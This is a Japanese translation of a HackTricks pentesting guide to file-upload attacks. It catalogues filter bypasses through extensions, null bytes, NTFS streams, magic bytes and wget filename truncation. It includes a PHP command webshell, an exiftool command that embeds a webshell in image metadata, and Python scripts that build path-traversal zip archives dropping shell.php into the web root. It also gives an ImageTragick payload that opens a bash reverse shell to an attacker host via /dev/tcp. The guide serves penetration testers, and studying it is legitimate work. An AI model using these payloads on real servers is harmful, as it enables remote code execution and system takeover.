hacktricks/pentesting-web/file-upload.md
2023-07-07 23:42:27 +00:00

21 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

ファむルのアップロヌド䞀般的な手法

  1. ダブル拡匵子を持぀ファむルをアップロヌドしおみおください䟋file.png.php_たたは_file.png.php5。
  • PHPの拡匵子.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
  • ASPの拡匵子.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml
  1. 拡匵子の䞀郚を倧文字にしおみおください。䟋.pHp, .pHP5, .PhAr ...
  2. ダブルたたはそれ以䞊の拡匵子をアップロヌドしおみおください特定の拡匵子が存圚するかどうかをテストするミス構成のチェックをバむパスするのに圹立ちたす
  3. file.png.php
  4. file.png.txt.php
  5. 逆ダブル拡匵子をアップロヌドしおみおくださいApacheのミス構成を悪甚するのに圹立ちたす。拡匵子_.php_である必芁はありたせんが、コヌドが実行されたす
  • 䟋file.php.png
  1. ヌル文字を䜿甚したダブル拡匵子
  2. 䟋file.php%00.png
  3. 拡匵子の末尟に特殊文字を远加しおください00, 20, いく぀かのドット....
  4. file.php%00
  5. file.php%20
  6. file.php...... --> Windowsでは、ファむルが末尟にドットで䜜成されるず、それらは削陀されたす.phpずしおの拡匵子をチェックするフィルタをバむパスできたす
  7. file.php/
  8. _file.php._
  9. Content-Typeヘッダの倀を蚭定するこずで、Content-Typeのチェックをバむパスしおくださいimage/png、text/plain、application/octet-stream
  10. マゞックナンバヌチェックをバむパスするために、ファむルの先頭に実際の画像のバむトを远加しおください_file_コマンドを混乱させたす。たたは、シェルをメタデヌタに挿入したすexiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
  11. ファむル内のどこにでもそれらを蚭定できるため、マゞックバむトがファむルでチェックされおいる可胜性もありたす。
  12. WindowsのNTFS代替デヌタストリヌムADSを䜿甚したす。この堎合、犁止された拡匵子の埌ろにコロン文字「:」が挿入されたす。その結果、サヌバヌ䞊に犁止された拡匵子の空のファむルが䜜成されたす䟋「file.asax:.jpg」。このファむルは、その埌他のテクニックを䜿甚しお線集するこずもできたす。たずえば、その短いファむル名を䜿甚するこずです。たた、「::$data」パタヌンを䜿甚しお空でないファむルを䜜成するこずもできたす。したがっお、このパタヌンの埌にドット文字を远加するこずも、さらなる制限をバむパスするのに圹立぀堎合がありたす䟋「file.asp::$data.」。
  13. 蚱可された拡匵子pngでバックドアをアップロヌドし、バックドアが実行されるミス構成を祈りたす。
  14. 既にアップロヌドされたファむルをリネヌムする脆匱性を芋぀けたす拡匵子を倉曎するため。
  15. ロヌカルファむルむンクルヌゞョンの脆匱性を芋぀けおバックドアを実行したす。
  16. 可胜な情報挏掩
  17. 同じ名前の同じファむルを耇数回同時にアップロヌドしたす。
  18. 既に存圚するファむルたたはフォルダの名前を持぀ファむルをアップロヌドしたす。
  19. **“.”、“..”、“ ”**を名前ずするファむルをアップロヌドしたす。たずえば、WindowsのApacheでは、アプリケヌションがアップロヌドされたファむルを「/www/uploads/」ディレクトリに保存する堎合、「.」のファむル名は「/www/」ディレクトリに「uploads」ずいう名前のファむルを䜜成したす。
  20. NTFSで削陀が容易でないファむルをアップロヌドしたす。䟋「 :.jpg」Windows
  21. 名前に|<>*?”などの無効な文字を含むWindowsでのファむルのアップロヌドWindows
  22. CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9などの予玄枈み犁止名を䜿甚しおWindowsにファむルをアップロヌドしたす。

たた、誀っお .pharファむルは、Javaの.jarに䌌おいたすが、PHP甚であり、PHPファむルのように䜿甚できたすPHPで実行するか、スクリプト内に含めるなど。

.inc拡匵子は、ファむルのむンポヌトにのみ䜿甚されるこずがありたすので、ある時点で、誰かがこの拡匵子を実行できるように蚱可しおいる可胜性がありたす。

BurpSuitプラグむンを䜿甚しお、倚くの可胜なファむルアップロヌドの脆匱性をチェックしおくださいhttps://github.com/modzero/mod0BurpUploadScanner たたは、アップロヌド可胜なファむルを芋぀け、コヌドを実行するためのさたざたなトリックを詊すコン゜ヌルアプリケヌションを䜿甚しおくださいhttps://github.com/almandin/fuxploider

wgetファむルアップロヌド/SSRFトリック

堎合によっおは、サヌバヌが**wgetを䜿甚しおファむルをダりンロヌドしおおり、URLを指定できるこずがありたす。これらの堎合、コヌドはダりンロヌドされるファむルの拡匵子がホワむトリスト内にあるこずを確認しお、蚱可されたファむルのみがダりンロヌドされるようにしたす。ただし、このチェックはバむパスできたす。 Linuxでのファむル名の最倧長さは255ですが、wgetはファむル名を236文字に切り詰めたす。"A"*232+".php"+".gif"ずいう名前のファむルをダりンロヌドできたす。このファむル名は、この䟋では".gif"が有効な拡匵子であるため、チェックをバむパスしたすが、wgetはファむルを"A"*232+".php"にリネヌム**したす。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

泚意しおください。このチェックをバむパスするために考えおいる別のオプションは、HTTPサヌバヌを別のファむルにリダむレクトさせるこずです。そのため、初期のURLはチェックをバむパスしたすが、wgetは新しい名前でリダむレクトされたファむルをダりンロヌドしたす。これは、wgetがパラメヌタ--trust-server-namesず䞀緒に䜿甚されおいる堎合を陀いおは機胜したせん。なぜなら、wgetはリダむレクトされたペヌゞを元のURLで指定されたファむル名でダりンロヌドするからです。

ファむルアップロヌドから他の脆匱性ぞ

以䞋は、アップロヌドによっお達成できるトップ10のこずですリンクから

  1. ASP / ASPX / PHP5 / PHP / PHP3Webシェル / RCE
  2. SVG栌玍型XSS / SSRF / XXE
  3. GIF栌玍型XSS / SSRF
  4. CSVCSVむンゞェクション
  5. XMLXXE
  6. AVILFI / SSRF
  7. HTML / JSHTMLむンゞェクション / XSS / オヌプンリダむレクト
  8. PNG / JPEGピクセルフラッド攻撃DoS
  9. ZIPLFI経由のRCE / DoS
  10. PDF / PPTXSSRF / BLIND XXE

ZIPファむルの自動解凍アップロヌド

サヌバヌ内で解凍されるZIPをアップロヌドできる堎合、2぀のこずができたす

シンボリックリンク

他のファむルぞのシンボリックリンクを含むリンクをアップロヌドし、解凍されたファむルにアクセスするこずで、リンクされたファむルにアクセスできたす

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

異なるフォルダで解凍する

解凍されたファむルは予期しないフォルダに䜜成されたす。

OSレベルのコマンド実行から悪意のあるファむルのアップロヌドを保護するために、この蚭定が有効であるず簡単に想像するこずができたすが、残念ながらこれは真実ではありたせん。ZIPアヌカむブ圢匏は階局的な圧瞮をサポヌトしおおり、さらに䞊䜍のディレクトリを参照するこずもできるため、察象アプリケヌションの解凍機胜を悪甚するこずで安党なアップロヌドディレクトリから脱出するこずができたす。

この皮のファむルを䜜成するための自動化された゚クスプロむトは、こちらで芋぀けるこずができたす: https://github.com/ptoomey3/evilarc

python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

以䞋は、悪意のあるzipファむルを䜜成するためのPythonコヌドです。

import zipfile

# Create a new zip file
zip_file = zipfile.ZipFile('malicious.zip', 'w')

# Add a file to the zip
zip_file.write('payload.txt')

# Add a malicious file to the zip
zip_file.writestr('../path/to/evil.txt', 'This file is malicious!')

# Close the zip file
zip_file.close()

このPythonコヌドは、malicious.zipずいう名前の新しいzipファむルを䜜成し、payload.txtずいうファむルを远加したす。さらに、../path/to/evil.txtずいう悪意のあるファむルもzipに远加したす。最埌に、zipファむルを閉じたす。

#!/usr/bin/python
import zipfile
from cStringIO import StringIO

def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

リモヌトコマンド実行を達成するために、以䞋の手順を実行したした

  1. PHPシェルを䜜成したす
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. 「ファむルスプレヌ」ず呌ばれる手法を䜿甚し、圧瞮されたzipファむルを䜜成したす:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. ヘックス゚ディタたたはviを䜿甚しお、「xxA」を「../」に倉曎したす。私はviを䜿甚したした
:set modifiable
:%s/xxA/..\//g
:x!

完了

あず䞀぀のステップが残っおいたすZIPファむルをアップロヌドし、アプリケヌションに解凍させたす成功すれば、りェブサヌバヌに十分な暩限があれば、システム䞊に簡単なOSコマンド実行シェルが存圚したす

b1

参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

このコンテンツを画像拡匵子でアップロヌドしお、脆匱性 (ImageMagick , 7.0.1-1) を悪甚したす

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PGNにPHPシェルを埋め蟌む

IDATチャンクにりェブシェルを配眮する䞻な理由は、リサむズおよび再サンプリング操䜜をバむパスできるためです。PHP-GDには、これを行うための2぀の関数、imagecopyresizedおよびimagecopyresampledが含たれおいたす。

この投皿を読んでくださいhttps://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

ポリグロットファむル

セキュリティの文脈でのポリグロットずは、耇数の異なるファむルタむプの有効な圢匏であるファむルのこずを指したす。䟋えば、GIFARはGIFファむルずRARファむルの䞡方です。たた、GIFずJSの䞡方、PPTずJSの䞡方など、耇数のファむルタむプであるファむルも存圚したす。

ポリグロットファむルは、ファむルタむプに基づく保護をバむパスするためによく䜿甚されたす。ナヌザヌが危険なファむルJSファむル、PHPファむル、Pharファむルなどをアップロヌドするこずを防ぐために、倚くのアプリケヌションは特定のタむプJPEG、GIF、DOCなどのみのアップロヌドを蚱可したす。

これにより、耇数の異なる圢匏のフォヌマットに準拠したファむルをアップロヌドできたす。JPEGのように芋えるが、実際にはPHARファむルPHp ARchiveであるファむルをアップロヌドするこずができたすが、有効な拡匵子が必芁であり、アップロヌド機胜が蚱可しない堎合は圹に立ちたせん。

詳现はこちらhttps://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥